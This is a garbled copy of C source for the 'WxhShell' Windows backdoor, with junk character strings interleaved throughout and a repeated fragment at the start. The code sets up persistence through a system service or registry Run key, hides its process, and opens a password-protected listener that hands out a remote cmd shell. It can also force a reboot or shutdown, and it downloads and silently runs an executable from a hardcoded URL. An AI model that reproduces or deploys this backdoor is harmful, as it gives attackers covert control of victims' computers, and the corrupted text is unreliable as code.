tU!"CX static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .P# c/SQp static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i'L7t!f}o uDafPTF HANDLE hProcess; FGr0W|?v PROCESS_BASIC_INFORMATION pbi; fH`P8?](x NJz8ANpro$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =NSLx 2:T if(NULL == hInst ) return 0; qp"gD-,-o HGC>jeWd_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Um9!<G=; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4_&$isq NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U2ecvq[T \'GX^0yK if (!NtQueryInformationProcess) return 0; Al$"k[-Uin x,2+9CCU hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O2:m)@ if(!hProcess) return 0; #8R\J[9 d}>Nl$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jXGr{n 5ii`!y CloseHandle(hProcess); k^C;"awh .',ikez hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fng":28o if(hProcess==NULL) return 0; *Mg=IEu-6[ bV@53_)N2 HMODULE hMod; ,`P,)) char procName[255]; X
z2IAiAs' unsigned long cbNeeded; f>\?\! *VIM!/YW if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^gw_Up<e6 >LgV[D#=&o CloseHandle(hProcess); s)375jCga (vz)GrH> if(strstr(procName,"services")) return 1; // 以服务启动 d7It}7@9 W2%(a0p return 0; // 注册表启动 5;>M&qmN } A8e b{qv [9z<*@$- // 主模块
_"%d9B int StartWxhshell(LPSTR lpCmdLine) ^KF { $*xnq%A SOCKET wsl; |I^\|5 BOOL val=TRUE; I =qd\ int port=0; W5
fO1F struct sockaddr_in door; R|$=Pfg~4 }&y>g0$@ if(wscfg.ws_autoins) Install(); m3F.-KPO }-V .upl port=atoi(lpCmdLine); (4$lB{% 4D$$KSa if(port<=0) port=wscfg.ws_port; , j'=sDl b\UQ6V WSADATA data; fR5
NiH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s]5wzbF O @K4} cP if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; J0d +q! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,BW^j.7 door.sin_family = AF_INET; 89`AF1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); _<pG}fmR door.sin_port = htons(port); |ng[s6uf 9C|T/+R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9 ?MOeOV8 closesocket(wsl); u 6la return 1; gSZNsiH } >kz5azV0 V/"0'H\"1 if(listen(wsl,2) == INVALID_SOCKET) { >]T(}S~ closesocket(wsl); O7s0M?4 return 1; '3[Ecy# } dI>)4( ) Wxhshell(wsl); ]AERi]
B WSACleanup(); $w[@L7'( asQ pVP return 0; z ]o&^Q TkWS-=lNH0 } K&BlWXT p|(910OEQ // 以NT服务方式启动 E2X
K hW VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u-OwL1S+ { "! p#8jR^ DWORD status = 0; b1nw,(hLY DWORD specificError = 0xfffffff; `USR]T_` 9.zy`} serviceStatus.dwServiceType = SERVICE_WIN32; q{yz]H, serviceStatus.dwCurrentState = SERVICE_START_PENDING; &r~~1BnpHm serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $d,30hK serviceStatus.dwWin32ExitCode = 0; B(Y{ serviceStatus.dwServiceSpecificExitCode = 0; YwoytoXK serviceStatus.dwCheckPoint = 0; XLqS{r~? serviceStatus.dwWaitHint = 0; `q7I;w+g ;NLL?6~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L9fhe,en if (hServiceStatusHandle==0) return; H!Uy4L~> r.-NfK4 status = GetLastError(); =c-j4xna> if (status!=NO_ERROR) JP!$uK{u { 1'c!9 serviceStatus.dwCurrentState = SERVICE_STOPPED; {(D$Xb serviceStatus.dwCheckPoint = 0; [Gh T.
serviceStatus.dwWaitHint = 0; MyCX6+Ci) serviceStatus.dwWin32ExitCode = status; "h$A. S serviceStatus.dwServiceSpecificExitCode = specificError; {*
>$aI SetServiceStatus(hServiceStatusHandle, &serviceStatus); */nb%QV return; \ts:' } G{+sC2 =zqOkC
h$ serviceStatus.dwCurrentState = SERVICE_RUNNING; PS`)6yn{_ serviceStatus.dwCheckPoint = 0; ?h1]s&^|2 serviceStatus.dwWaitHint = 0; hP3I_I[qF} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3t68cdFlz } 2~R"3c+^ Z(/jQ=ozQ // 处理NT服务事件,比如:启动、停止 vB/MnEKR VOID WINAPI NTServiceHandler(DWORD fdwControl) ua`2
&;T= { e{To&gy~ switch(fdwControl) E^A9u
|x { +c}fDrr) case SERVICE_CONTROL_STOP: u;!CQ w/ serviceStatus.dwWin32ExitCode = 0; 7k+UCiu> serviceStatus.dwCurrentState = SERVICE_STOPPED; lsJ'dS serviceStatus.dwCheckPoint = 0; tz1iabZ{ serviceStatus.dwWaitHint = 0; .Ks&r { \w^U<_zq SetServiceStatus(hServiceStatusHandle, &serviceStatus); qa`bR%eH } NZ7a^xT_) return; /}#z/m@bN case SERVICE_CONTROL_PAUSE: ofcoNLX5c serviceStatus.dwCurrentState = SERVICE_PAUSED; #`y7L4V*o break; 6dC!&leNi case SERVICE_CONTROL_CONTINUE: 9p2"5x serviceStatus.dwCurrentState = SERVICE_RUNNING; ,8+SQo#3 break; p8Lb*7W case SERVICE_CONTROL_INTERROGATE: )"t=sFxaB break; bC?t4-W }; Wj.)wr! SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;op+~@*! } ?
Ew>'(Q =ZzhH};aX // 标准应用程序主函数 r A0[ y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a(d'iAU8^ { r6PiZgR cg1 < // 获取操作系统版本 <wj2:Z0 OsIsNt=GetOsVer(); 1swh7 GetModuleFileName(NULL,ExeFile,MAX_PATH); s67$tlV &vdGKYs 6 // 从命令行安装 p7zHP if(strpbrk(lpCmdLine,"iI")) Install(); :Gy
.P ;Jv)J3y // 下载执行文件 lG fO if(wscfg.ws_downexe) { |=jgrm1yj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gOgG23 x WinExec(wscfg.ws_filenam,SW_HIDE); Qi6vP& } 8{%/!ylJz t!D=oBCro if(!OsIsNt) { 9co
-W+ // 如果时win9x,隐藏进程并且设置为注册表启动 2ZIf@C{P. HideProc(); .Zf#L'Rf StartWxhshell(lpCmdLine); 8Nc i1o } =*"Amd, else uW Q` if(StartFromService()) wqA5GK>m2 // 以服务方式启动 )ckx&e StartServiceCtrlDispatcher(DispatchTable); 5!tmG- 'b else N4)&K[ // 普通方式启动 YA{Kgc^ StartWxhshell(lpCmdLine); [OH>NpL T_v return 0; /YUf('b } x9-K}s]% wnt^WW=a[ if#$wm% -7m;rD4J =========================================== KGP2,U6 7-W(gD!` N;r,B rd%3eR?V d 'x;]#S X=${`n%LG " c7wza/r> `1M_rG1/+ #include <stdio.h> PM%./ #include <string.h> ~g1@-)zYxK #include <windows.h> Qbt
fKn95 #include <winsock2.h> |])%yRAGQ #include <winsvc.h> ,1^)JshZ~ #include <urlmon.h> zs[t<`2 3Y=T8Gi# #pragma comment (lib, "Ws2_32.lib") OjrQ[`(E #pragma comment (lib, "urlmon.lib") Y<a/(` ^6J*yV% #define MAX_USER 100 // 最大客户端连接数 =jg!@H=_i #define BUF_SOCK 200 // sock buffer {'>X6: #define KEY_BUFF 255 // 输入 buffer 9Ki86 .}Bb
:*@ #define REBOOT 0 // 重启 -cY/M~ #define SHUTDOWN 1 // 关机 q.Z0Q #?}Y~Oe #define DEF_PORT 5000 // 监听端口 6kIq6rWF9 .Ddl.9p5 #define REG_LEN 16 // 注册表键长度 F^`sIrZvs #define SVC_LEN 80 // NT服务名长度 ,ZMYCl] &(Xp_3PO // 从dll定义API a`/[\K6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G=yQYsC$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A4( ^I
u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !X[lNtO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q' _ Pw$'TE} // wxhshell配置信息 Kq-y1h]7H struct WSCFG { F\,3z7s int ws_port; // 监听端口 W%vh7>. char ws_passstr[REG_LEN]; // 口令 "uZ'oN int ws_autoins; // 安装标记, 1=yes 0=no ^+,mxV'8! char ws_regname[REG_LEN]; // 注册表键名 J8/>b{Y char ws_svcname[REG_LEN]; // 服务名 H(?z?2b p char ws_svcdisp[SVC_LEN]; // 服务显示名 u@==Ut char ws_svcdesc[SVC_LEN]; // 服务描述信息 'e{e>>03 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VMen: int ws_downexe; // 下载执行标记, 1=yes 0=no +k8><_vr} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9;h1;9sC| char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |$bZO`^ |6_<4lmTxF }; pjbKMx _|*3uGo: // default Wxhshell configuration J
fsCkS struct WSCFG wscfg={DEF_PORT, !H?#~{
W} "xuhuanlingzhe", .0\Wu+ 1, 5%tIAbGW "Wxhshell", nwO;>Qr "Wxhshell",
ckhW?T>l "WxhShell Service", tk1qgjE(? "Wrsky Windows CmdShell Service", +twBFhS7k "Please Input Your Password: ", ?+`Zef.g 1, 3z~zcQ^\ "http://www.wrsky.com/wxhshell.exe", 3y 0`G8P'h "Wxhshell.exe" mnu7Y([2> }; E37`g}ZS D5AKOM!` // 消息定义模块 nSd?P'PFg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H+*o @0C\~ char *msg_ws_prompt="\n\r? for help\n\r#>"; T*A_F
[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wW!*"z char *msg_ws_ext="\n\rExit."; 0 w@~ynW[ char *msg_ws_end="\n\rQuit."; -*?a*q/#nQ char *msg_ws_boot="\n\rReboot..."; ,$}v_-:[l char *msg_ws_poff="\n\rShutdown..."; $lV0TCgba8 char *msg_ws_down="\n\rSave to "; \>,{)j q; <=19KSGFt char *msg_ws_err="\n\rErr!"; \Sm.]=br char *msg_ws_ok="\n\rOK!"; [lyB@) 6. <V>vDno\ char ExeFile[MAX_PATH]; tYmWze.j int nUser = 0; S~Nx;sB HANDLE handles[MAX_USER]; Q6}`% int OsIsNt; of{wZU\J+9 8?I(wn SERVICE_STATUS serviceStatus; if^\Gs$ SERVICE_STATUS_HANDLE hServiceStatusHandle; jL`S6E?7 r,yhc = // 函数声明 |? r,W~9` int Install(void); c#CX~ int Uninstall(void); ;[dcbyu@ int DownloadFile(char *sURL, SOCKET wsh); dVCBpCxI int Boot(int flag); NUx%zY void HideProc(void); x#Hq74H, int GetOsVer(void); W0gaOew(^ int Wxhshell(SOCKET wsl); lza'l void TalkWithClient(void *cs); j##IJm int CmdShell(SOCKET sock);
]9A9q<lZ int StartFromService(void); ]^aece
t int StartWxhshell(LPSTR lpCmdLine); pN%L3?2 >rYP}k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]u2!)vZh' VOID WINAPI NTServiceHandler( DWORD fdwControl ); (A( d]l <=jE,6_| // 数据结构和表定义 fkk\Q>J9!= SERVICE_TABLE_ENTRY DispatchTable[] = $!KV]] { T4\,b {wscfg.ws_svcname, NTServiceMain}, trgj]|?M {NULL, NULL} DSET!F;PG }; Kw-E%7gh4c ^5"s3Qn // 自我安装 W@pVP4F0xM int Install(void) 2/>AmVM { ,v)@&1Wh: char svExeFile[MAX_PATH]; .sjM$#V= HKEY key; (* "R"Y strcpy(svExeFile,ExeFile); &?YQVwsN &XgB-}^: // 如果是win9x系统,修改注册表设为自启动 ,{:5Z:<| if(!OsIsNt) { Fwho.R-. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xmq~:fcU= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^*}L9Ot~ RegCloseKey(key); M^+~r,D1u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =
#ocp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U Y)YhXW RegCloseKey(key); JH<q7Y6!y return 0; Ybd){Je"z } *"1]NAz+ } c%i/ '<Afr } 2r[Q$GPM< else { fqvA0"tv N}\$i&Vi // 如果是NT以上系统,安装为系统服务 3go!P]) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +2C:] if (schSCManager!=0) \{NeDv{A { >JC.qjA SC_HANDLE schService = CreateService 3-LO ( ~u}[VP schSCManager, wm@1jLjrQ wscfg.ws_svcname, (lEWnf=2h wscfg.ws_svcdisp, 7{<t]wQq SERVICE_ALL_ACCESS, "&L<u0KHG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yUEUIPL SERVICE_AUTO_START, {b]WLBy SERVICE_ERROR_NORMAL, _!w# {5~ svExeFile, R2u[IVZW:- NULL, T<p>:$vo NULL, `\O[9.B NULL, u5T\_0 NULL, %2/WyD$U NULL mL3'/3-7:V ); }54\NSj0 if (schService!=0) V-J\!CHX { B.{0,bW?
CloseServiceHandle(schService); .hT^7|Jz[ CloseServiceHandle(schSCManager); WY<ip< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OEZXV ;F strcat(svExeFile,wscfg.ws_svcname); T[ky7\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /mqEc9sq, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QE-t v00 RegCloseKey(key); l2n>Wce9 return 0; I>ofSaN } 8kO|t!?:U } b4,yLVi<T CloseServiceHandle(schSCManager); tEf-BV;\y } 2R|2yAh } 0/-[k R,6?1Z:J return 1; EeL~`$f } q]'VVlP) Dr`A4LnqY // 自我卸载 &=_YL int Uninstall(void) )[%#HT { 9)H~I/9Y HKEY key; : @YZ6?hf i,b>&V/Y$ if(!OsIsNt) { #(XP=PUj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3MkF RegDeleteValue(key,wscfg.ws_regname); ?i9LqHL RegCloseKey(key); zb:p,T@5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @GjWeOj] RegDeleteValue(key,wscfg.ws_regname); p/SJt0 RegCloseKey(key); Q,)G_lO return 0; q#MAA_ } }ZR3 } gzl_
"j } 5n?fZ?6( else { 6;5}%
B:#h xr.fZMOh4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }bjTb! if (schSCManager!=0) .5_w^4`b { 7\5 [lM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pu}r`
E_ if (schService!=0) #!Kg?BR2 { b"{7f if(DeleteService(schService)!=0) { Uv5E$Y"e10 CloseServiceHandle(schService); O:k@'& CloseServiceHandle(schSCManager); ]6}|X#_ return 0; F<G.!Y8!& } z[CCgs&vqe CloseServiceHandle(schService); `[CXxp } /UM9g+Bb CloseServiceHandle(schSCManager); W}JJaZR*X } njvmf*A?S } 'B6D&xn'%& O+z-6:` return 1; %Z.>)R4 } udW,
P =p^*y-z // 从指定url下载文件 2nOQ48haT int DownloadFile(char *sURL, SOCKET wsh) Rw Y)
O5 { &eg]8kV HRESULT hr; |V:k8Ab char seps[]= "/"; VYlg+MlT0 char *token; WS2TOAya) char *file; YwHnDVV+ char myURL[MAX_PATH]; .B>|>W O char myFILE[MAX_PATH]; l3(k /AW6XyMD_ strcpy(myURL,sURL); CDR^xo5
dP token=strtok(myURL,seps); #YjV3O5< while(token!=NULL) JWH}0+1* { WYI? M file=token; NoiU5pP token=strtok(NULL,seps); 1~ZDHfd5 } =d(
6
) ")ZHa qEB GetCurrentDirectory(MAX_PATH,myFILE); D~8f6Ko"m strcat(myFILE, "\\"); ?Tb'J`MO strcat(myFILE, file); eN,m8A`/S send(wsh,myFILE,strlen(myFILE),0); (Tc ~ send(wsh,"...",3,0); 1!BV]&,[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -+?0|>Nh if(hr==S_OK) 2lXsD;[ return 0; "52wa<MVJ else sm\/wlbE return 1; */?L_\7 x{RTI#a. } $"x(: 4!iS"QH?;^ // 系统电源模块 i~k?k.t8 int Boot(int flag) qdUlT*fw { F'|,(P HANDLE hToken; ^3AJYu TOKEN_PRIVILEGES tkp; -/7[_, Tcr&{S&o if(OsIsNt) { j+Wgjf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (?q]E$
@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;?%2dv2d tkp.PrivilegeCount = 1; Q;5aM%a` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &[JI L=m5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b@5&<V;r2 if(flag==REBOOT) { vJXd{iQE@C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H+_oK
]/ return 0; x"U/M?l } 213D{#2 else {
s9O] tk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mQ' ]0D S return 0; ~+^,o_hT } p|Z"<
I7p( } <}B|4($ else { 5F&i/8Ib if(flag==REBOOT) { ]P] lG- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c3oI\lU
return 0; qY#*zx } c|ZZ+2IYd else { _VR4|)1g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x{Gih1 return 0; zM[WbB+"m } [o|]>(tk } ^k u~m5v hFQC%N.' return 1; Zad+)~@!tq } | %6B#uy w&C SE // win9x进程隐藏模块 =fG(K!AQ void HideProc(void) :UFf6T? { w_A-:S
5C AGrGZ7p] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TSE(Kt if ( hKernel != NULL ) C8NbxP { yHT}rRS8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tk_y~-xz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )?Jj#HtW FreeLibrary(hKernel); /?2yo{Fg } %;^6W7 zIRa%%.i< return; 7_q"%xH } Uf_w
o a ,W5T8 // 获取操作系统版本 "@`M>)*o int GetOsVer(void) 0ZPPt(7 { *4A.R&Vu OSVERSIONINFO winfo; `Gsh<.w!7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t*Lo;]P GetVersionEx(&winfo); \gIdg:"02 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) US>
m1KsX return 1; Uc7X) else x1A^QIuxO return 0; AO^F6Y/ } Y^3tk}yru X3a:*1N // 客户端句柄模块 b/ZX}<s(1= int Wxhshell(SOCKET wsl) :(I)+;M}P { @JN%P}4) SOCKET wsh; )t)tk=R9N struct sockaddr_in client; dqd Qt_ DWORD myID; B%'Np7 zU1rjhv+ while(nUser<MAX_USER) QHtpCNTVb {
-pX/Tt6 int nSize=sizeof(client); 5z El`h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eaF5S'k 4$ if(wsh==INVALID_SOCKET) return 1; V @d:n P[gk9{sv handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QC
]z--wu if(handles[nUser]==0) w8>T ~Mv closesocket(wsh); 7d'@Z2%J0 else _)%4NjWKk nUser++; _);1dcnR } :4)mv4Q WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5]'iSrp &TC
return 0; r Ld,Izi } U76:F?MH o"'VI4 // 关闭 socket Or6'5e?N void CloseIt(SOCKET wsh) 9';0vrFeM { +{Q\B}3cj1 closesocket(wsh); "q]v2t nUser--; u45e>F= ExitThread(0); V|b?H6Q } \a|gzC1G 2.; OHQTE // 客户端请求句柄 .l#Pmd! void TalkWithClient(void *cs) r2U2pAy# { ?:H9xJ_^ sH+]lTSX6{ SOCKET wsh=(SOCKET)cs; Snh\Fgdz char pwd[SVC_LEN]; JziMjR char cmd[KEY_BUFF]; U/jJ@8 char chr[1]; +cjNA2@ int i,j; N#ex2c EH4WR/x while (nUser < MAX_USER) { :_^9.` _Zb_9& if(wscfg.ws_passstr) { '| Ag,x[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sy>P n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q$EVd9aN //ZeroMemory(pwd,KEY_BUFF); q8[Nr3. i=0; eZg31. while(i<SVC_LEN) { cl)MI,/> /md`tqI>i< // 设置超时 u6 B (f; fd_set FdRead; -,XS2[ struct timeval TimeOut; oD"fRBS+$ FD_ZERO(&FdRead); PT\5P&2o@ FD_SET(wsh,&FdRead); >8>.o[Q& TimeOut.tv_sec=8; )FU4i N)ei TimeOut.tv_usec=0; R@"N{ [9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]~a!O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xnh%nv<v{ 1f}S:Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jp[QA\ pwd=chr[0]; tP3H7Yl!g if(chr[0]==0xd || chr[0]==0xa) { ?(g kkYI pwd=0; 4&`66\p; break; z{ymVd0# } ;7 IVg[f i++; Y-9]J( } 7Y#b7H ef53~x // 如果是非法用户,关闭 socket Odbjl[>k if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C*c=@VAa } ~vF.k, q*'hSt@+D send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4)XN1r: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lg!1q8 (:[><-h. while(1) { zIdQ^vm8Q *>\RGL;]8 ZeroMemory(cmd,KEY_BUFF); Ylo@ kMI\GQW // 自动支持客户端 telnet标准 Ex@#!fz{% j=0; w#JF7; while(j<KEY_BUFF) { RNi&OG( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2etlR cmd[j]=chr[0]; 7:1Hgj( if(chr[0]==0xa || chr[0]==0xd) { ?m~x%[Vn cmd[j]=0; zGz5|u break; SM^6+L"BE } y()#FRp7 j++; .Hgiru& } kxf'_Nzy OSSMIPr // 下载文件 +}^}
<|W6 if(strstr(cmd,"http://")) { _IgG8)k; send(wsh,msg_ws_down,strlen(msg_ws_down),0); "%}PVO! if(DownloadFile(cmd,wsh)) KDn`XCnk, send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sfvi|kZX else O#k?c } send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e7hPIG } { !FrI@ else { 'nCBLc8 .Qi`5C:U switch(cmd[0]) { ~&KfJ "M? (Ax // 帮助 NtA}I)'SWU case '?': { lhxhAe send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sL!6-[N break; rc;| ,\ } @l@lE0 // 安装 UO!OO&l! case 'i': { !\"C<*5 if(Install()) !CsoTW9C: send(wsh,msg_ws_err,strlen(msg_ws_err),0); SJy? ^ else &Nec(q< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QDgOprha break; _`;6'}]s } QY{f= // 卸载 b [u_r,b case 'r': { ?j $z[_K if(Uninstall()) ,q:6[~n send(wsh,msg_ws_err,strlen(msg_ws_err),0); : ;d&m else #s]]\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #}B~V3UD break; KIuYWr7& } rW1>t+ // 显示 wxhshell 所在路径 }>p)|YT"/ case 'p': {
3g5i5 G\ char svExeFile[MAX_PATH]; qed;
UyN strcpy(svExeFile,"\n\r"); 2 3>lE}^G strcat(svExeFile,ExeFile); f[dwu39k send(wsh,svExeFile,strlen(svExeFile),0); ]Mtb~^joG break; t[^}/
S } X@\! \ // 重启 YjsaTdZ!& case 'b': { _@d.wfM send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !E$S&zVMQ if(Boot(REBOOT)) 55yP.@i9J send(wsh,msg_ws_err,strlen(msg_ws_err),0); t(ZiQ<A else { }~A-ELe: closesocket(wsh); A70_hhP ExitThread(0); (xxJ^u>QC } @NV$!FB< break; S'?XI@t[ } Z0-W%W // 关机 ,a?em'= case 'd': { WQ6E8t) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bggSYhJ?\# if(Boot(SHUTDOWN)) d;'@4NX5+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); c| p
eRO. else { ;GvyL>|-~ closesocket(wsh); d;dcLe ExitThread(0); (M[Kh ^ } (]iw#m{ break; h~F uuL } l
"d&Sgnj // 获取shell VF6@;5p
case 's': { pX!S*(Q{ CmdShell(wsh); <'s1+^LC closesocket(wsh); q4U?}=PD ExitThread(0); fT
8"1f|w break; /'">H-r } KsHovv-A // 退出 e[{LNM{/# case 'x': { C\}m_`MR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ty7a&>G CloseIt(wsh); )iEK7d^- break; .4?M.Z4[ } we{*%8I; // 离开 }F@`A?k case 'q': { <H#D/?n5 send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'g ,Oi1|~ closesocket(wsh); 44S<(Re WSACleanup(); M,mj{OY~x exit(1); "-I> break; Y`c\{&M6 } ;ATk?O4T } i?mDR$X: } dqG+hh^ gS"@P:wYzs // 提示信息 {;z3$/JB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )V9$ P) } 5*4P_q(AxD } TmO\!` T0aK1Lh return; 'kYV}rq;l } LsBDfp5/ drN^-e // shell模块句柄 8zZR%fZ int CmdShell(SOCKET sock) lOZ.{0{f, { 7p2x}[ .\ STARTUPINFO si; abI[J]T9G ZeroMemory(&si,sizeof(si)); 3+!N[6Od9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yqCy`TK8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uOZ+9x( PROCESS_INFORMATION ProcessInfo; BHU(Hd char cmdline[]="cmd"; KnU "49 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EmY8AN(* return 0; jixU9] } fzSZ>I0R M@csB. ' // 自身启动模式 4W^0K|fq int StartFromService(void) +IJpqFH { /&ph-4\i typedef struct Lu-owP7nB { @NX^__sa DWORD ExitStatus; MA"iM+Ar DWORD PebBaseAddress; ]>:%:-d6 DWORD AffinityMask; 6G1Z"9<2* DWORD BasePriority; @dcW0WQ\ ULONG UniqueProcessId; qf7.Sh ULONG InheritedFromUniqueProcessId; pz-`Tp w } PROCESS_BASIC_INFORMATION; V ;>{-p LscAsq<H< PROCNTQSIP NtQueryInformationProcess; f'r/Q2{n {feS-.Khv static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wx:_F; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gb~q:&IUr zRsA[F# HANDLE hProcess; >%d]"] PROCESS_BASIC_INFORMATION pbi; ?J)%.~! YM#XV*P0 q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xcoYo if(NULL == hInst ) return 0; y)/d- u4Vc:n g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \
fwf\& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vy-{BH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d8Upr1_ hRA.u'M if (!NtQueryInformationProcess) return 0; Qaagi
